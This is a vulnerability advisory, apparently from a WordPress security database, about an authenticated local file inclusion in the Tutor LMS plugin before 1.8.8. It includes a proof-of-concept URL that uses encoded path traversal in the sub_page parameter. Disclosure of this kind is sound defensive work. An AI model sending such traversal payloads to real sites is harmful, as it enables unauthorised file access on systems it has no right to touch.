Tutor LMS < 1.8.8 - Authenticated Local File Inclusion
Description
The plugin is affected by a local file inclusion vulnerability through the maliciously constructed sub_page parameter of the plugin's Tools, allowing high privilege users to include any local php file
Proof of Concept
https://your.domain/wp-admin/admin.php?page=tutor-tools&sub_page=..%2F..%2F..%2F..%2F..%2F..%2Findex
Affects Plugins
Fixed in version 1.8.8✓
References
Classification
Miscellaneous
Timeline
Publicly Published
2021-04-05 (about 3 months ago)
Added
2021-04-05 (about 3 months ago)
Last Updated
2021-04-07 (about 3 months ago)